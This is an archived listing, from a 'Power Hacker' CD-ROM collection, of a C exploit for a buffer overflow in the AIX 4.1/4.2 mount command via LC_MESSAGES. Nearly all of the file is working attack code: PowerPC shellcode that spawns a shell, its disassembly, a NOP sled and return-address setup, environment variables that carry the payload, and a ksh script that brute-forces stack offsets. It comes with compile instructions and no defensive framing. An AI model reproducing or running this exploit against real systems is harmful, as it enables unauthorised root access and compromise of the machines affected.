home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / AIX_mount.c < prev    next >
C/C++ Source or Header  |  2001-11-06  |  4KB  |  169 lines

  1. /*
  2.  AIX 4.2/4.1 LC_MESSEGAS /usr/sbin/mount exploit by Georgi Guninski
  3.  
  4. -----------------------------------------
  5. Use the IBM C compiler.
  6. Compile with: cc -g test2.c
  7. -----------------
  8.  
  9. If you get  Memory Fault or Illegal Instruction,
  10. try running brute force korn shell script.
  11.  
  12. 22-Mar-97
  13. */
  14. #include <stdio.h>
  15. #include <stdlib.h>
  16. #include <string.h>
  17.  
  18.  
  19. char prog[100]="/usr/sbin/mount";
  20. char prog2[30]="mount";
  21. extern int execv();
  22.  
  23. char *createvar(char *name,char *value)
  24. {
  25. char *c;
  26. int l;
  27. l=strlen(name)+strlen(value)+4;
  28. if (! (c=malloc(l))) {perror("error allocating");exit(2);};
  29. strcpy(c,name);
  30. strcat(c,"=");
  31. strcat(c,value);
  32. putenv(c);
  33. return c;
  34. }
  35.  
  36. /*The program*/
  37. main(int argc,char **argv,char **env)
  38. {
  39. /*The code*/
  40. unsigned int code[]={
  41. 0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
  42. 0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,
  43. 0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,
  44. 0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,
  45. 0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
  46. 0x7c0903a6 , 0x4e800420, 0x0
  47. };
  48. /* disassembly
  49. 7c0802a6        mfspr   r0,LR
  50. 9421fbb0        stu     SP,-1104(SP) --get stack
  51. 90010458        st      r0,1112(SP)
  52. 3c60f019        cau     r3,r0,0xf019 --CTR
  53. 60632c48        lis     r3,r3,11336  --CTR
  54. 90610440        st      r3,1088(SP)
  55. 3c60d002        cau     r3,r0,0xd002 --TOC
  56. 60634c0c        lis     r3,r3,19468  --TOC
  57. 90610444        st      r3,1092(SP)
  58. 3c602f62        cau     r3,r0,0x2f62 --'/bin/sh\x01'
  59. 6063696e        lis     r3,r3,26990
  60. 90610438        st      r3,1080(SP)
  61. 3c602f73        cau     r3,r0,0x2f73
  62. 60636801        lis     r3,r3,26625
  63. 3863ffff        addi    r3,r3,-1
  64. 9061043c        st      r3,1084(SP) --terminate with 0
  65. 30610438        lis     r3,SP,1080
  66. 7c842278        xor     r4,r4,r4    --argv=NULL
  67. 80410440        lwz     RTOC,1088(SP)
  68. 80010444        lwz     r0,1092(SP) --jump
  69. 7c0903a6        mtspr   CTR,r0
  70. 4e800420        bctr              --jump
  71. */
  72.  
  73. #define MAXBUF 600
  74. unsigned int buf[MAXBUF];
  75. unsigned int frame[MAXBUF];
  76. unsigned int i,nop,mn;
  77. int max;
  78. int QUIET=0;
  79. int dobuf=0;
  80. char VAR[30]="LC_MESSAGES";
  81. unsigned int toc;
  82. unsigned int eco;
  83. unsigned int *pt;
  84. char *t;
  85. int egg=1;
  86. int ch;
  87. unsigned int reta; /* return address */
  88. int corr=4604;
  89. char *args[4];
  90. char *newenv[8];
  91. int justframes=1;
  92. int startwith=0;
  93.  
  94. mn=78;
  95. max=100;
  96.  
  97. if (argc>1)
  98.         corr = atoi(argv[1]);
  99.  
  100. pt=(unsigned *) &execv;
  101. toc=*(pt+1);
  102. eco=*pt;
  103.  
  104. if ( ((mn+strlen((char*)&code)/4)>max) || (max>MAXBUF) )
  105. {
  106.         perror("Bad parameters");
  107.         exit(1);
  108. }
  109.  
  110. #define OO 7
  111. *((unsigned short *)code + OO + 2)=(unsigned short) (toc & 0x0000ffff);
  112. *((unsigned short *)code + OO)=(unsigned short) ((toc >> 16) &
  113. 0x0000ffff);
  114. *((unsigned short *)code + OO + 8 )=(unsigned short) (eco & 0x0000ffff);
  115. *((unsigned short *)code + OO + 6 )=(unsigned short) ((eco >> 16) &
  116. 0x0000ffff);
  117.  
  118. reta=startwith ? (unsigned) &buf[mn]+corr : (unsigned)&buf[0]+corr;
  119.  
  120. for(nop=0;nop<mn;nop++)
  121.  buf[nop]=startwith ? reta : 0x4ffffb82;        /*NOP*/
  122. strcpy((char*)&buf[nop],(char*)&code);
  123. i=nop+strlen( (char*) &code)/4-1;
  124.  
  125. if( !(reta & 0xff) || !(reta && 0xff00) || !(reta && 0xff0000)
  126.         || !(reta && 0xff000000))
  127. {
  128. perror("Return address has zero");exit(5);
  129. }
  130.  
  131. while(i++<max)
  132.  buf[i]=reta;
  133. buf[i]=0;
  134.  
  135. for(i=0;i<max-1;i++)
  136.  frame[i]=reta;
  137. frame[i]=0;
  138.  
  139. if(QUIET) {puts((char*)&buf);fflush(stdout);exit(0);};
  140.  
  141. puts("Start...");/*Here we go*/
  142.  
  143. newenv[0]=createvar("EGGSHEL",(char*)&buf[0]);
  144. newenv[1]=createvar("EGGSHE2",(char*)&buf[0]);
  145. newenv[2]=createvar("EGGSHE3",(char*)&buf[0]);
  146. newenv[3]=createvar("EGGSHE4",(char*)&buf[0]);
  147. newenv[4]=createvar("DISPLAY",getenv("DISPLAY"));
  148. newenv[5]=VAR[0] ? createvar(VAR,justframes ? (char*)&frame :
  149. (char*)&buf):NULL;
  150. newenv[6]=NULL;
  151.  
  152. args[0]=prog2;
  153. execve(prog,args,newenv);
  154. perror("Error executing execve \n");
  155. }
  156.  
  157. /* 
  158. ------------brute-ksh-script-------------------------------------------
  159. #!/bin/ksh
  160. L=3000
  161. STEP=34
  162. MAX=16000
  163. while [ $L -lt $MAX ]
  164. do
  165. ./a.out $L
  166. L=`expr $L + $STEP`
  167. done
  168. */
  169.